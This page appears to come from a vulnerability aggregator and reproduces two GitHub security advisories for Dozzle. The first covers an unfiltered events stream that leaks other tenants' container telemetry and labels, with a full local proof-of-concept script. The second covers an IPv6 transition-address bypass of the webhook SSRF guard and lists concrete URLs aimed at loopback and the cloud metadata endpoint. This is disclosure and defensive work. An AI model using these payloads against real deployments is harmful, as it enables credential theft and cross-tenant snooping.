Where
-Infinity
0

Vendor Risk Score

See how dozzle compares to other vendors in security performance

View Risk Score →
Severity
4.3
Infoleak
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

Dozzle supports per-user label filters in users.yml that are documented as an access-control boundary: "Filters are used to restrict the containers that a user can see" and "the guest user can only see containers with the label com.example.app … useful for restricting access to specific containers" (docs/guide/authentication.md). This is the mechanism operators use to give different users/tenants visibility into disjoint subsets of containers on the same host.

The events stream handler streamEvents (GET /api/events/stream) honors that filter for the initial container list and for the incremental containers-changed updates, but it forwards two other channels — container-stat (live per-container CPU, memory, network and disk telemetry) and container-event (container lifecycle events: start/die/destroy/rename/pause/unpause, with the container's full attribute/label set) — to every authenticated client unconditionally, with no comparison against the caller's label filter. The upstream subscription SubscribeEventsAndStats fans out across every Docker client/host and never receives a label filter at all.

As a result, any authenticated user — including one explicitly constrained to a single label scope — receives live resource telemetry for every container on every monitored host, plus lifecycle events carrying each container's name, image and complete label map. This crosses the exact isolation boundary the filter feature is documented to enforce. The leak requires no special role (it is not gated behind the shell/actions/download roles) and works on the local Docker host, so it is distinct from the previously-patched agent-path exec/attach bypass (CVE-2026-24740 / GHSA-m855-r557-5rc5) and from the exec/attach CSWSH issue (CVE-2026-44985 / GHSA-j643-x8pv-8m67).

Affected code (v10.6.5)

internal/web/events.go — streamEvents. The handler resolves the caller's userLabels and applies them to the initial list (ListAllContainers(userLabels)) and to the containers-changed increment (ListContainersForHost(event.Host, userLabels)), but forwards container-stat and the raw container-event with no filter check:

go h.hostService.SubscribeEventsAndStats(r.Context(), events, stats) // no labels passed ... userLabels := h.config.Labels if h.config.Authorization.Provider != NONE { user := auth.UserFromContext(r.Context()) if user.ContainerLabels.Exists() { userLabels = user.ContainerLabels } } allContainers, errors := h.hostService.ListAllContainers(userLabels) // filtered (correct) ... case stat := <-stats: if err := sseWriter.Event("container-stat", stat); err != nil { // NOT filtered ... } case event, ok := <-events: ... switch event.Name { case "start", "die", "destroy", "rename", "pause", "unpause": if event.Name == "start" || event.Name == "rename" { if containers, err := h.hostService.ListContainersForHost(event.Host, userLabels); err == nil { ... sseWriter.Event("containers-changed", containers) ... // filtered (correct) } } if err := sseWriter.Event("container-event", event); err != nil { // NOT filtered ... }

internal/support/docker/multihostservice.go — SubscribeEventsAndStats subscribes to events and stats from every client with no label filter argument:

go func (m MultiHostService) SubscribeEventsAndStats(ctx context.Context, events chan<- container.ContainerEvent, stats chan<- container.ContainerStat) { for , client := range m.manager.List() { client.SubscribeEvents(ctx, events) client.SubscribeStats(ctx, stats) } }

The payloads carry the disclosed data. ContainerStat (internal/container/types.go) includes id, cpu, memory, memoryUsage, networkRxTotal, networkTxTotal, diskReadTotal, diskWriteTotal. ContainerEvent includes host, actorId and actorAttributes (a map[string]string), which for start events contains the container name, image, and every label.

Attacker model / precondition

The attacker is an authenticated low-privilege user of a Dozzle instance configured with simple auth (DOZZLEAUTHPROVIDER=simple) and at least one user whose filter: restricts them to a subset of containers — the standard multi-user / multi-tenant configuration the filter feature exists for. The attacker holds valid credentials for such a restricted account (or any account; the leak applies to whatever the account's filter excludes). No shell/actions/download role is required and no victim interaction is needed; the attacker simply opens the SSE stream that the normal UI already opens on load.

What bounds severity: the disclosure is limited to container metadata and resource telemetry — it does not by itself expose container log contents, environment-variable values, or the ability to exec/attach (those paths apply the filter correctly on the local host). It requires an authenticated account and only matters when per-user filters are actually used to separate tenants/environments; a single-user or unfiltered deployment has nothing to leak. Hence Confidentiality:Low, no Integrity/Availability impact.

Impact

A user constrained to one label scope can continuously enumerate, on every monitored host:

- The existence and identity of every container outside their scope, via container-event actorId plus actorAttributes (container name, image name, and the full label map — which is exactly the information the filter feature is meant to hide, and may itself encode tenant/project/environment names such as secretproject=acme-payroll). - Live operational telemetry for those containers — CPU%, memory% and bytes, network RX/TX totals, disk read/write totals — updated every few seconds, enabling activity profiling, traffic/throughput inference, and load monitoring of other tenants' workloads. - Lifecycle activity (deployments, restarts, crashes, pauses) of out-of-scope containers in real time.

In a multi-tenant or environment-segregated deployment (dev user must not see prod, tenant A must not see tenant B), this defeats the intended isolation for the telemetry/metadata plane while the UI still presents the user with their correctly-filtered single-container view.

Proof of Concept (complete — runs on 127.0.0.1 only)

Lab only. Requires Docker on the local host. Uses the official amir20/dozzle:v10.6.5 image. It creates one container the guest user is allowed to see (label visible=yes) and one the guest must NOT see (dzsecret, no such label), logs in as the restricted guest, and shows that the documented filtered channel returns exactly the one authorized container while the container-stat and container-event channels leak the forbidden container's telemetry and metadata.

bash set -e WORK=$(mktemp -d); cd "$WORK"; mkdir -p data

1. Build a users.yml with an unrestricted admin and a guest filtered to label=visible=yes. docker run --rm amir20/dozzle:v10.6.5 generate admin --password adminpass --name Admin > data/users.yml docker run --rm amir20/dozzle:v10.6.5 generate guest --password guestpass --name Guest \ --user-filter "label=visible=yes" --user-roles all > guest.yml python3 - <<'PY' admin=open("data/users.yml").read() guest=open("guest.yml").read().split("users:\n",1)[1] open("data/users.yml","w").write(admin.rstrip()+"\n"+guest) PY

2. Start two workload containers: one the guest IS allowed to see, one it is NOT. docker rm -f dzvisible dzsecret dozzlelab 2>/dev/null || true docker run -d --name dzvisible --label visible=yes alpine \ sh -c 'while true; do echo "visible-log $(date)"; sleep 2; done' >/dev/null docker run -d --name dzsecret --label secretproject=acme-payroll alpine \ sh -c 'while true; do echo "SECRET-log $(date)"; sleep 2; done' >/dev/null

3. Start Dozzle v10.6.5 with simple auth, bound to loopback only. docker run -d --name dozzlelab -p 127.0.0.1:8083:8080 \ -v /var/run/docker.sock:/var/run/docker.sock:ro \ -v "$PWD/data:/data" \ -e DOZZLEAUTHPROVIDER=simple \ amir20/dozzle:v10.6.5 >/dev/null sleep 4

B=http://127.0.0.1:8083 SECRETID=$(docker inspect -f '{{.Id}}' dzsecret) VISID=$(docker inspect -f '{{.Id}}' dzvisible)

4. Authenticate as the restricted guest. curl -s -c guest.cookies -X POST "$B/api/token" -d 'username=guest' -d 'password=guestpass' -o /dev/null

5. Capture the events SSE stream as the guest for ~10s, triggering a lifecycle event on the forbidden container partway through. ( timeout 10 curl -s -N -b guest.cookies "$B/api/events/stream" > guestevents.txt 2>/dev/null ) & sleep 3 docker restart dzsecret >/dev/null # generate die/start container-events for dzsecret wait

6. Analyze: the documented filtered channel vs the two leaking channels. python3 - "$SECRETID" "$VISID" <<'PY' import json,sys secret,vis=sys.argv[1],sys.argv[2]; s12,v12=secret[:12],vis[:12] ev=None; listids=set(); statids=set(); evt=[] secretstat=None; secretstartattrs=None for line in open("guestevents.txt"): line=line.rstrip("\n") if line.startswith("event:"): ev=line[6:].strip() elif line.startswith("data:"): try: j=json.loads(line[5:].strip()) except: continue if ev=="containers-changed" and isinstance(j,list): for c in j: if isinstance(c,dict) and c.get("id"): listids.add(c["id"]) elif ev=="container-stat" and isinstance(j,dict): if j.get("id"): statids.add(j["id"]) if j.get("id")==s12: secretstat=j elif ev=="container-event" and isinstance(j,dict): evt.append((j.get("name"),j.get("actorId"))) if j.get("actorId")==s12 and j.get("actorAttributes"): secretstartattrs=j["actorAttributes"] print("=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===") print(" containers the guest is authorized to see:", len(listids), "->", sorted(x[:12] for x in listids)) print(" secret container present?:", s12 in {x[:12] for x in listids}, "(expected False)") print() print("=== LEAK CHANNEL 1: container-stat (NOT filtered) ===") print(" distinct containers in stat stream:", len(statids)) print(" secret container telemetry leaked?:", s12 in {x[:12] for x in statids}, "(VULN if True)") if secretstat: print(" leaked dzsecret stat payload:", json.dumps(secretstat)) print() print("=== LEAK CHANNEL 2: container-event (NOT filtered) ===") print(" lifecycle events leaked for dzsecret:", [e for e in evt if e[1]==s12]) if secretstartattrs: print(" leaked dzsecret attributes:", json.dumps(secretstartattrs)) PY

7. Cleanup. docker rm -f dzvisible dzsecret dozzlelab >/dev/null cd /; rm -rf "$WORK"

Observed output (host details elided; the salient lines):

=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) === containers the guest is authorized to see: 1 -> ['87a94222ba1d'] secret container present?: False (expected False)

=== LEAK CHANNEL 1: container-stat (NOT filtered) === distinct containers in stat stream: 10 secret container telemetry leaked?: True (VULN if True) leaked dzsecret stat payload: {"id": "9ec5e9a970d9", "cpu": 0, "memory": 0.00228, "memoryUsage": 487424, "networkRxTotal": 2444, "networkTxTotal": 126, "diskReadTotal": 0, "diskWriteTotal": 0}

=== LEAK CHANNEL 2: container-event (NOT filtered) === lifecycle events leaked for dzsecret: [('die', '9ec5e9a970d9'), ('start', '9ec5e9a970d9')] leaked dzsecret attributes: {"env": "prod", "image": "nginx:alpine", "name": "dzsecret", "secretproject": "acme-payroll"}

The guest is authorized for exactly one container (the documented filter works for the list channel), yet the same stream delivers live telemetry for ten containers — including dzsecret — and leaks dzsecret's name, image and labels (including secretproject=acme-payroll) via lifecycle events. The negative control is the containers-changed/list channel returning a single container; the positive result is the stat/event channels returning the forbidden container.

Remediation

Apply the caller's userLabels to the container-stat and container-event channels in streamEvents, exactly as is already done for the container list. Concretely:

- Maintain, per connection, the set of container IDs visible under the caller's userLabels (it is already computed for the initial list and refreshed on containers-changed), and drop any container-stat whose id is not in that set before calling sseWriter.Event("container-stat", ...). - For each container-event, resolve the event's container under userLabels (e.g. via FindContainer(event.Host, event.ActorID, userLabels) on the local/Docker path, which honors labels) and forward the event only if it resolves; otherwise skip it. Do the same for the container-updated and container-health branches, which carry actorId/container data for arbitrary containers. - Alternatively/additionally, push the label filter down into SubscribeEventsAndStats so the fan-out itself only emits stats/events for containers matching the caller's filter, mirroring how SubscribeContainersStarted already takes a ContainerFilter. - Add regression tests asserting that a user with filter: label=visible=yes receives container-stat and container-event only for matching containers, even when other containers are active on the host.

Please credit 5ud0 / Tarmo Technologies.

1 / 2
Source: GitHub
First published (updated )
Severity
2.3
SSRF
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The isBlockedIP SSRF guard in Dozzle's webhook notification dispatcher blocks loopback, link-local, multicast, and unspecified addresses but does not recognize IPv6 transition mechanism addresses (RFC 3056 6to4, RFC 6052 NAT64, RFC 4380 Teredo) that embed arbitrary IPv4 addresses. An authenticated user can bypass the guard to reach loopback services, cloud metadata endpoints (169.254.169.254), and other blocked ranges via webhook notification URLs.

Affected component / versions

- Package: github.com/amir20/dozzle - Affected versions: all versions with SSRF guard (current HEAD b9df313) - Vulnerable code: internal/notification/dispatcher/webhook.go

Details

Root cause (CWE-918)

internal/notification/dispatcher/webhook.go:32-51:

go func isBlockedIP(ip net.IP) bool { if ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() || ip.IsMulticast() || ip.IsInterfaceLocalMulticast() || ip.IsUnspecified() { return true } if v4 := ip.To4(); v4 != nil && zeroNetV4.Contains(v4) { return true } if ip.Equal(net.IPv4bcast) { return true } return false }

The guard intentionally allows RFC 1918 private ranges for self-hosted webhook targets, but blocks loopback (127.0.0.0/8, ::1), link-local (169.254.0.0/16, fe80::/10), and other non-routable addresses. IPv6 transition mechanism addresses bypass all these checks:

| Mechanism | Prefix | Embeds | isBlockedIP result | |-----------|--------|--------|---------------------| | 6to4 | 2002::/16 | any IPv4 in bits 16-47 | false | | NAT64 WKP | 64:ff9b::/96 | any IPv4 in bits 96-127 | false | | Teredo | 2001:0000::/32 | any IPv4 in bits 96-127 | false |

Reachability / trust boundary

The safeDialContext function (line 53) resolves hostnames and checks each IP against isBlockedIP before establishing a TCP connection. This is used as the DialContext for the webhook HTTP client (line 115).

Webhook URLs are configured by authenticated Dozzle users through the notification settings UI. The guard exists to prevent authenticated users from using webhook delivery as a proxy to reach the host machine's loopback services or cloud metadata endpoint.

Attack chain

1. Authenticated user creates a webhook notification with URL http://[2002:7f00:0001::1]:8080/ (6to4 embedding 127.0.0.1) 2. When a notification triggers, Dozzle's webhook dispatcher calls safeDialContext 3. The IPv6 address 2002:7f00:0001::1 is checked against isBlockedIP -- all predicates return false 4. Connection proceeds to the 6to4 relay which routes to 127.0.0.1 5. The webhook POST reaches the host's loopback services

Impact

An authenticated user can bypass the SSRF guard to:

- Reach cloud metadata service at 169.254.169.254 via 2002:a9fe:a9fe::1 (6to4) to steal instance credentials - Reach localhost services via 64:ff9b::7f00:1 (NAT64) or 2002:7f00:0001::1 (6to4) - The webhook response body is logged at debug level but not returned to the user, making this a semi-blind SSRF (status code is returned)

Note: RFC 1918 private ranges are intentionally allowed by the guard. This bypass specifically targets the blocked ranges (loopback and link-local/metadata) that the guard explicitly intends to prevent.

Proof of concept

Bypass vectors:

6to4 embedding 127.0.0.1 (bypasses IsLoopback) http://[2002:7f00:0001::1]:8080/

NAT64 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast) http://[64:ff9b::a9fe:a9fe]/latest/meta-data/

6to4 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast) http://[2002:a9fe:a9fe::1]/latest/meta-data/

Teredo embedding 127.0.0.1 http://[2001:0000:dead:beef:0000:0000:7f00:0001]:8080/

Verification that isBlockedIP returns false for all vectors:

go package main

import ( "fmt" "net" )

func isBlockedIP(ip net.IP) bool { return ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() || ip.IsMulticast() || ip.IsInterfaceLocalMulticast() || ip.IsUnspecified() }

func main() { for , v := range []string{ "2002:7f00:0001::1", // 6to4 -> 127.0.0.1 "64:ff9b::a9fe:a9fe", // NAT64 -> 169.254.169.254 "2002:a9fe:a9fe::1", // 6to4 -> 169.254.169.254 } { ip := net.ParseIP(v) fmt.Printf("%-35s blocked=%v\n", v, isBlockedIP(ip)) } } // Output: all false

Remediation

Add IPv6 transition mechanism prefix checks to isBlockedIP:

go func isBlockedIP(ip net.IP) bool { // ... existing checks ...

// IPv6 transition mechanisms embedding arbitrary IPv4 if len(ip) == net.IPv6len { if ip[0] == 0x20 && ip[1] == 0x02 { return true } // 6to4 if ip[0] == 0x00 && ip[1] == 0x64 && ip[2] == 0xff && ip[3] == 0x9b { return true } // NAT64 if ip[0] == 0x20 && ip[1] == 0x01 && ip[2] == 0x00 && ip[3] == 0x00 { return true } // Teredo } return false }

Credit

Reported by tonghuaroot (tonghuaroot@gmail.com).

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203